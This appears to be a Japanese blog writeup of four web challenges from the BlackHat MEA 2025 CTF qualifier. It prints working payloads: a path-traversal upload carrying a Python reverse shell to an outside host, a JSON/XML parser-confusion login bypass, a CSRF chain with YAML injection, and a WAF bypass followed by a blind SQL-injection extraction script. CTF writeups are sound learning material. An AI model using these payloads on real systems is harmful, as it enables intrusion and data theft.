以下の内容はhttps://y0d3n.hatenablog.com/entry/2025/09/17/171818より取得しました。


BlackHat MEA Qualification CTF 2025 Writeup

日曜19時開始だと仕事とガッツリ被ってしまいしんどい。
flag共有など無法地帯になっていましたが、せっかく真面目に解いたのでwriteupを書きました。

Hash Factory

まさかのDockerfileのみ配布。 Dockerfile内でcatしてPythonファイルなどを作成していて「なるほど」となった。

本質的なのは大体下記の部分で、md5を改行区切りで記載したファイルを投げるとcrackしてくれる君らしい。

@app.route('/', methods=["GET", "POST"])
def index():
    hash_file = request.files.get('hash_file')

...

    hash_file.save(path := hashes / hash_file.filename)
    crack_results = check_output(["/app/crack", path], text=True)
    path.unlink()
    for line in open(sys.argv[1], 'r', encoding="utf-8"):
        line = line.strip()

        # we only crack hashes here 
        if len(line) != len(md5('')):
            continue

        hashes += 1
        cracked = i = 0
        for hash in map(md5, map(str, range(1338))):
            if line == hash:
                print(f'{line}:{i}')
                cracked = 1; hashes_cracked += 1; break
            i += 1
        if not cracked:
            print(f'{line}:-')
    print(f"\ncracked {hashes_cracked}/{hashes}")

hash_file.saveの部分でトラバーサルしたい気分になったので適当にやってみたら、ファイルの上書きができた。

POST / HTTP/1.1
Host: 10.4.50.175:5001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Pbr9S15pYdPGUei

------WebKitFormBoundary2Pbr9S15pYdPGUei
Content-Disposition: form-data; name="hash_file"; filename="../crack"
Content-Type: application/octet-stream

test
------WebKitFormBoundary2Pbr9S15pYdPGUei--
$ cat crack
test

ということでcrackの内容をいい感じに書き換えることでRCEが可能。
リバースシェルを張って環境変数を見てみたらflagがあった。

------WebKitFormBoundary2gR3VAb4c6u4bJ2A
Content-Disposition: form-data; name="hash_file"; filename="/app/crack"
Content-Type: application/octet-stream

#!/app/.venv/bin/python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ec2-3-112-172-87.ap-northeast-1.compute.amazonaws.com",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

------WebKitFormBoundary2gR3VAb4c6u4bJ2A--

Go brrr

adminでログインできるとflagがもらえるらしい。 jsonでパースして、usernameとpasswordがある場合にのみ認証サービスにリクエストを投げる。

@app.route('/user', methods=['POST'])
def user_handler():
    data = request.get_json() or None
    if data is None or not "username" in data or not "password" in data:
        return "Invalid data format (not a valid JSON schema)", 400
    check = requests.post(auth_service_url, json=data).text
    if check == '"Authorized"':
        session['is_admin'] = True
        return "Authorized"
    else:
        return "Not Authorized", 403
    

@app.route('/admin', methods=['GET'])
def admin_panel():
    if session.get('is_admin'):
        flag = os.getenv('DYN_FLAG', 'BHFlagY{dummy_flag_for_testing}')
        return "Welcome to the admin panel! Here is the flag: " + flag

認証してadminになればflagが手に入りそうだとわかる。

認証サービスはGoで書かれていて、下記の流れで認証している。

  1. xml.Unmarshal
  2. xmlが失敗した場合、json.Unmarshal
  3. パース結果の IsAdmin が true な場合のみ認証成功
   if err := xml.Unmarshal(body, &user); err != nil {
        w.Header().Set("x-xmllog", fmt.Sprint(user))
        if err := json.Unmarshal(body, &user); err != nil {
            http.Error(w, "Invalid data format (not XML or JSON)", http.StatusBadRequest)
            return
        }
    }

    w.Header().Set("Content-Type", "application/json")
    if user.IsAdmin {
        w.Write([]byte(`"Authorized"`))
    } else {
        w.Write([]byte(`"Not Authorized"`))
    }

ここまで読んで、Pythonで正規のjsonとして扱われかつGoでXMLとしてパースされるパターンが想像つく。

{
  "username":"<User><username>test</username><password>test</password></User>",
  "password":"test"
}

パースする際の構造体は下記。

type User struct {
    Username string `json:"username" xml:"username"`
    Password string `json:"password" xml:"password"`
    IsAdmin  bool   `json:"-"  xml:"-,omitempty"`
}

IsAdmin をtrue にしたいのだが、フィールド名が - になっておりtrueにさせるのは難しそうに思える。 ただ xml:"-,omitempty"という書き方は一般的でないので、- がタグとして扱われないかな、と考える。

ところが、下記はシンタックスエラーになることがわかった。

<User><->true</-></User>

色々試した結果、 < の後に - が続くとダメらしい。
どうしようかなと思っていたらチームメイトがネームスペースを利用したら解けることに気づいてくれた。

<User><ns:->true</ns:-></User>

下記jsonを投げるとadminのCookieが発行されるので、それでflagゲット。

{"username":"<User><ns:->true</ns:-></User>", "password":"test"}

cute_csp

問題名からCSPバイパスかなぁと後回しにしていた。

cute_csp - TOP

まずはindex.php

<?php
header("Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline; img-src *;");
@print($_GET["html"] ?? show_source(__FILE__));

Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline; img-src *; となっているが、とりあえずぱっと見でstyle-srcのクォートが閉じてないことに気づく。
これで style-src は無視されるので、スタイル関連には default-src である 'none'が採用される。(厳しくなるのかーい)

$_GET["html"] があるので、HTMLインジェクションは簡単そう。

admin botを呼び出すためのreport.phpを見る。

<?php
const URL_PREFIX =  "http://localhost:5000/index.php";

echo "<pre>";

$url = $_REQUEST['url'] ?? null;
if (isset($url) && str_starts_with($url, URL_PREFIX)) {
    $start_time = microtime(true);

    $url = escapeshellarg($url);
    system("python3 bot.py " . $url);

    echo "[xssbot] total request time: " . (microtime(true) - $start_time) . " seconds";

URL_PREFIX ( /index.php )で始まる場合のみ、pythonbotが動くらしい。botの中身を見る。

BASE_URL = "http://localhost:5000"
ADMIN_TOKEN = os.getenv("ADMIN_TOKEN")
URL_PREFIX = "http://localhost:5000/index.php"

# makeshift lockfile, not safe against deliberate race conditions
LOCKFILE = Path("bot.lock")


async def visit(url: str):
    if LOCKFILE.exists():
        print("[xssbot] ongoing visit detected, cancelling...")
        exit(1)

    if not url.startswith(URL_PREFIX):
        print("[xssbot] invalid URL format")
        exit(1)

    try:
        Path(LOCKFILE).touch()
        print("[xssbot] visiting url")
        p = await async_playwright().start()

        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()

        await context.add_cookies(
            [
                {
                    "name": "token",
                    "value": ADMIN_TOKEN,
                    "domain": "localhost",
                    "httpOnly": True,
                    "path": "/",
                }
            ]
        )

        page = await context.new_page()

        await page.goto(url)
        await page.wait_for_load_state("networkidle")
        await page.wait_for_timeout(1_000)
        content = await page.evaluate("() => document.documentElement.innerHTML")
        print("-" * 32)
        print(content)
        print("-" * 32)

ここでも URL_PREFIX ( /index.php )をみて正しければアクセス、その結果をprintする。試しに /report.php?url=http://localhost:5000/index.php で呼び出してみたらこうなった。

/report.php?url=http://localhost:5000/index.php

そう、report.phpにはCSPの設定がないので、スタイルが反映される。
「え、じゃあ /report.php?url=http://localhost:5000/index.php?html=<img%20src%20onerror=alert(1)>XSSできるじゃん」と思うが、URL_PREFIX をみているため /report.php を報告することはできない。

ただ、この URL_PREFIX の検証は /index.php/../report.php のようにしてあげるだけで回避できる。
ということで /index.php/../report.php?url=http://localhost:5000/index.php?html=<img%20src%20onerror=alert(1)> を報告しておわりかと思いきや、さっきのpythonファイル中にrace condition対策のlockがあった。これではreportでreportを呼び出すことができない。残念。

# makeshift lockfile, not safe against deliberate race conditions
LOCKFILE = Path("bot.lock")


async def visit(url: str):
    if LOCKFILE.exists():
        print("[xssbot] ongoing visit detected, cancelling...")
        exit(1)

admin.php を確認する。

<?php
error_reporting(E_ALL ^ E_WARNING);

const URL_PREFIX =  "http://localhost:5000/admin.php";
const ISO3166_COUNTRY_NAMES = ['Aruba' => 'AW', 'Afghanistan' => 'AF',(snip...), 'FLAG' => 'FL'];
$ADMIN_TOKEN = getenv('ADMIN_TOKEN');

$admin_token = $_COOKIE['token'] ?? null;

if ($_SERVER['REMOTE_ADDR'] <> '127.0.0.1' && (!isset($admin_token) || strcmp($admin_token, $ADMIN_TOKEN) <> 0)) {
    echo "[!] Oops! Invalid admin token";
    die(1);
}

switch ($_SERVER['REQUEST_METHOD']) {
    case 'GET':
        simulate_transactions();
        break;

    case 'POST':
        process_transactions();
        break;
}

IPアドレスとadmin_tokenのチェックにより、admin bot経由でしか呼び出せなそう。
以降の検証では一旦コメントアウトしておく。

GETとPOSTで動作が変わるらしいので、それぞれの挙動を見ていく。まずはsimulate_transactions

<? ...
function simulate_transactions()
{
...
    $buy = true;
    foreach ($_GET['transactions'] as $key => $tx) {
        if (!isset($tx['amount']) || !isset($tx['country'])) {
            echo "[!] Missing amount or country in transaction #$key" . PHP_EOL;
            return;
        }

        $amount = $tx['amount'];
        $country = $tx['country'];

        // validate the two fields
        if (!is_numeric($amount) || !array_key_exists($country, ISO3166_COUNTRY_NAMES)) {
            echo "[!] Invalid transaction amount or country in transaction #$key" . PHP_EOL;
            return;
        }

        $currency = ISO3166_COUNTRY_NAMES[$country];
        printf("- amount: %d\n  currency: %s\n  op: %s\n", intval($amount), $currency, $buy ? "BUY" : "SELL");

        // you cant keep buying, gotta switch it up, its no free economy in here...
        $buy = !$buy;
    }
}

色々書いてあるが、amountとcountryを受け取ってトランザクションyamlを発行してくれる君という認識だけすればOK。
/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Aruba で発行すると下記。

- amount: 1
  currency: AW
  op: BUY
- amount: 1
  currency: AW
  op: SELL

次は process_transactions を見る

<? ...
function process_transactions()
{
    $url = $_REQUEST['url'] ?? null;

    if (!isset($url) || !str_starts_with($url, URL_PREFIX)) {
        echo "[!] Invalid simulation url: " . $url;
        return;
    }

    // TODO: We really need to support real exchange rates some day, it does not seem fair in its current
    // format. on the bright side, at least we are treating everybody equally :)
    $exchange_rates = [];
    foreach (ISO3166_COUNTRY_NAMES as $country => $currency) {
        $exchange_rates[$currency] = 1;
    }

    $exchange_rates['FL'] = 1_000_000;
    $balance = 1;

    echo "<pre>" . PHP_EOL;

    echo '11111' . PHP_EOL;
    echo "fgc" . file_get_contents($url) . PHP_EOL;
    echo '22222' . PHP_EOL;
    echo "url" . $url . PHP_EOL;
    echo '33333' . PHP_EOL;
    $txs = @yaml_parse_url($url);
    if ($txs === false || !is_array($txs)) {
        echo "[!] Failed to parse transactions from url";
        return;
    }

    $currency_inventory = [];

    echo "Transactions Processing Sheet\n--------------------------" . PHP_EOL;
    foreach ($txs as $i => $tx) {
        if (!is_array($tx)) {
            echo "[!] Transaction #{$i} must be an object";
            return;
        }

        if (!array_key_exists('amount', $tx) || !array_key_exists('currency', $tx) || !array_key_exists('op', $tx)) {
            echo "[!] Transaction #{$i} must include 'amount' and 'currency'";
            return;
        }

        $op = $tx['op'];
        $amount = $tx['amount'];
        $currency = $tx['currency'];

        if (!is_int($amount) || $amount <= 0) {
            echo "[!] Transaction #{$i} amount must be a positive integer";
            return;
        }

        if ($op <> 'BUY' && $op <> 'SELL') {
            echo "[!] Transaction #{$i} op must be either BUY or SELL";
            return;
        }

        if (!isset($currency_inventory[$currency])) {
            $currency_inventory[$currency] = 0;
        }

        $currency_rate = $exchange_rates[$currency];
        $value = $amount * intval($currency_rate);

        if ($op == 'BUY') {
            // do we have enough balance to cover this buy?
            if ($balance - $value >= 0) {
                $balance -= $value;
                $currency_inventory[$currency] += $amount;
            } else {
                echo "[!] Transaction #{$i} insufficient balance to BUY {$amount} {$currency}. "
                    . "Cost: {$value}, Balance: {$balance}";
                return;
            }
        } elseif ($op == 'SELL') {
            // do we have enough currency to sell?
            if ($currency_inventory[$currency] >= $amount) {
                $balance += $value ? $value : $amount;
                $currency_inventory[$currency] -= $amount;
            } else {
                echo "[!] Transaction #{$i} cannot SELL {$amount} {$currency}; "
                    . "inventory is {$currency_inventory[$currency]}";
                return;
            }
        } else {
            echo "[!] Transaction #{$i} op must be either BUY or SELL";
            return;
        }

        printf("%s %2dx %s (Rate: %.1f) = %3d\n", $op == 'BUY' ? '-' : '+', $amount, $currency, $currency_rate, $value);
    }

    foreach ($currency_inventory as $cur => $qty) {
        printf("Final Inventory %-5s : %s\n", $cur, $cur === 'FL' ? getenv('DYN_FLAG') : $qty);
    }

色々書いてあるが、大体やってることは以下。

  1. 受け取ったURLがURL_PREFIX ( /admin.php )から始まるかチェック
  2. 各国通貨のレートを 1 に、FL(FLAG)を 1_000_000 にセット
  3. URLをGETして、yamlをパース
  4. パースしたトランザクションにしたがって処理

先ほどの/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Arubaを入れてみると下記。

<pre>
11111
fgc- amount: 1
  currency: AW
  op: BUY
- amount: 1
  currency: AW
  op: SELL

22222
urlhttp://localhost:5000/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Aruba
33333
Transactions Processing Sheet
--------------------------
-  1x AW (Rate: 1.0) =   1
+  1x AW (Rate: 1.0) =   1
Final Inventory AW    : 0

</pre>

AWを1買ってAWを1売る、といった処理がされる。
この結果としてFLを持っていればFLAGがもらえるが、FLは途方もなく高価なため順当には入手できない。 また、トランザクションの処理時は所持金および所持通貨のチェックをちゃんとやっていて、「-1個買う」や「所持金以上の個数買う」、「所持数以上の個数売る」などはできなそうだ。

またここで URL_PREFIX のバイパスが容易であることを思い出す。
/admin.php/../index.php?html=... で任意の文字列を発行できるので、適当にyamlを作ってみる。

- amount: 1
  currency: FL
  op: BUY

エンコードなど済ませた実際のリクエストはこんなかんじ。

url=http://localhost:5000/admin.php/../index.php?html=-%2520amount%253a%25201%250a%2520%2520currency%253a%2520FL%250a%2520%2520op%253a%2520BUY%250a
<pre>
11111
fgc- amount: 1
  currency: FL
  op: BUY

22222
urlhttp://localhost:5000/admin.php/../index.php?html=-%20amount%3a%201%0a%20%20currency%3a%20FL%0a%20%20op%3a%20BUY%0a
33333
Transactions Processing Sheet
--------------------------
[!] Transaction #0 insufficient balance to BUY 1 FL. Cost: 1000000, Balance: 1

とりあえず任意のyamlを読ませることはできていそうだ。
simulate_transactionsではできなかったものとして、「exchange_ratesに存在していない通貨のトランザクションの発行」が新しくできるようになったが、どうだろうか。

まずは購入だが、exchange_ratesが存在していなくても問題なく購入できる。

<?
...
        $currency_rate = $exchange_rates[$currency];
        $value = $amount * intval($currency_rate);

        if ($op == 'BUY') {
            // do we have enough balance to cover this buy?
            if ($balance - $value >= 0) {
                $balance -= $value;
                $currency_inventory[$currency] += $amount;
            } else {
                echo "[!] Transaction #{$i} insufficient balance to BUY {$amount} {$currency}. "
                    . "Cost: {$value}, Balance: {$balance}";
                return;
            }

ためしに適当なyamlを作ってみると、0円で何個でも購入できる。

- amount: 1000
  currency: test
  op: BUY
Transactions Processing Sheet
--------------------------
- 1000x test (Rate: 0.0) =   0
Final Inventory test  : 1000

そして売却だが、valueがfalseである場合にはamountを利用していることがわかる。
存在しない通貨を指定した場合に value の計算結果は 0 になるので、0円のものを売却するときになぜか個数分のお金が手元に入る。

<? 
        $currency_rate = $exchange_rates[$currency];
        $value = $amount * intval($currency_rate);
...
        } elseif ($op == 'SELL') {
            // do we have enough currency to sell?
            if ($currency_inventory[$currency] >= $amount) {
                $balance += $value ? $value : $amount;
                $currency_inventory[$currency] -= $amount;
            } else {
                echo "[!] Transaction #{$i} cannot SELL {$amount} {$currency}; "
                    . "inventory is {$currency_inventory[$currency]}";
                return;
            }

この挙動を利用して1000000個適当な通貨を買って同数売れば、FLを購入できる。
ということで、最終的なyaml

- amount: 1000000
  currency: test
  op: BUY
- amount: 1000000
  currency: test
  op: SELL
- amount: 1
  currency: FL
  op: BUY
Transactions Processing Sheet
--------------------------
- 1000000x test (Rate: 0.0) =   0
+ 1000000x test (Rate: 0.0) =   0
-  1x FL (Rate: 1000000.0) = 1000000
Final Inventory test  : 0
Final Inventory FL    : BHFlagY{this_is_a_flag}

リクエストはこう。

url=http://localhost:5000/admin.php/../index.php?html=-%2520amount%253a%25201000000%250a%2520%2520currency%253a%2520test%250a%2520%2520op%253a%2520BUY%250a-%2520amount%253a%25201000000%250a%2520%2520currency%253a%2520test%250a%2520%2520op%253a%2520SELL%250a-%2520amount%253a%25201%250a%2520%2520currency%253a%2520FL%250a%2520%2520op%253a%2520BUY%250a

さて、これでadmin botにPOSTさせることさえできればflagがもらえる。(((writeupを書いてる途中に気づいたが、存在しない通貨名でXSSができたのでそれでよかったかも。)))
これはmetaタグでリダイレクトした先からCSRFすればよかった。

<html>
  <body>
    <form action="http://localhost:5000/admin.php" method="POST">
      <input type="hidden" name="url" value="http&#58;&#47;&#47;localhost&#58;5000&#47;admin&#46;php&#47;&#46;&#46;&#47;index&#46;php&#63;html&#61;&#45;&#37;20amount&#58;&#37;201000000&#37;0A&#37;20&#37;20currency&#58;&#37;20test&#37;0A&#37;20&#37;20op&#58;&#37;20BUY&#37;0A&#45;&#37;20amount&#58;&#37;201000000&#37;0A&#37;20&#37;20currency&#58;&#37;20test&#37;0A&#37;20&#37;20op&#58;&#37;20SELL&#37;0A&#45;&#37;20amount&#58;&#37;201&#37;0A&#37;20&#37;20currency&#58;&#37;20FL&#37;0A&#37;20&#37;20op&#58;&#37;20BUY" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRFする罠ページを用意して、そこにリダイレクトさせるようにレポートしたらおわり。
/report.php?url=http://localhost:5000/index.php?html=%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url={url}%22%3E

KoKo WAF

登録とログインだけがあるシンプルなWebアプリ。
ソースを見るとusernameがwaf関数を通り抜けたらSQLiできることがわかる。

<?php

require_once("db.php");
require_once("waf.php");

session_start();

if(isset($_POST['login-submit']))
{
    if(!empty($_POST['username']) && !empty($_POST['password']))
    {
        $username= $_POST['username'];
        $password= sha1($_POST['password']);
        if(waf($username))
        {
            $error_message = "WAF Block - Invalid input detected";
        }
        else
        {
            $res = $conn->query("select * from users where username='$username' and password='$password'");
            if($res->num_rows ===1)
            {
                $_SESSION['username'] = $username;
                $_SESSION['logged_in'] = true;
                header("Location: profile.php");
                exit();
            }
            else
            {
                $error_message = "Invalid username or password";
            }

WAFの内容を見てみる。

<?php

$sqli_regex = [
    "/(['|\"])+/s",
    "/(&|\|)+/s",
    "/(or|and)+/is",
    "/(union|select|from)+/is",
    "/\/\*\*\//",
    "/\s/"
];
function waf($input)
{
    global $sqli_regex;
    foreach ($sqli_regex as $pattern) 
    {
        if(preg_match($pattern,$input))
        {
            return true;
        }
        else
        {
            continue;
        }
    }
}

いかにもバイパスできそうな正規表現だが、"/(['|\"])+/s"が割と厄介。
SQLselect * from users where username='$username' and password='$password') となっているので、シングルクォートが使えないと何もできない。

\を入れることでpassword側でSQLiするのかと思いきや、passwordはsha1されていて自由に入力ができない。

これは時間内に解けなかったが、結局ReDoSの方針でよかったらしい。(ReDoSの発想自体はあったが、正規表現がシンプルなので無理だと思っていた。ちゃんと試せばよかった。。。)

'を10000個程度送ってみると、検知されない。

import requests

data = {'username': "'"*10000, 'password': 'admin', 'login-submit': ''}
response = requests.post('http://localhost:5008/index.php', data=data)
print("blocked" if "WAF Block" in response.text else "bypassed")
$ python3 req.py
bypassed

あとはSQLiするだけ。flagはflagsテーブルにある。

CREATE TABLE IF NOT EXISTS `flags` (
  `id` varchar(32) NOT NULL,
  `flag` varchar(255) NOT NULL
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

/(['|\"])+/s は必須として、unionを大量におくことで /(union|select|from)+/is も無効化しておく。
/\s/コメントアウトすればよくて、コメントアウト/\/\*\*\///*a*/とかで雑にバイパスできる。

import requests
import string

f = "BHFlagY{"

while True: 
    for c in string.hexdigits + '}':
        print(f+c, end="\r")
        data = {
            'username': '"'*10000 + 'union'*10000 + "'UNION/*a*/SELECT/*a*/null,null,null,null,null,null/*a*/FROM/*a*/flags/*a*/WHERE/*a*/flag/*a*/LIKE/*a*/'" + f + c + "%';#",
            'password': 'a',
            'login-submit': ''
        }

        response = requests.post('http://localhost:5008/index.php', data=data)

        if "profile.php" in response.url:
            f += c
            print()
            if c == '}':
                exit(0)

実行するとflagが手に入る。




以上の内容はhttps://y0d3n.hatenablog.com/entry/2025/09/17/171818より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14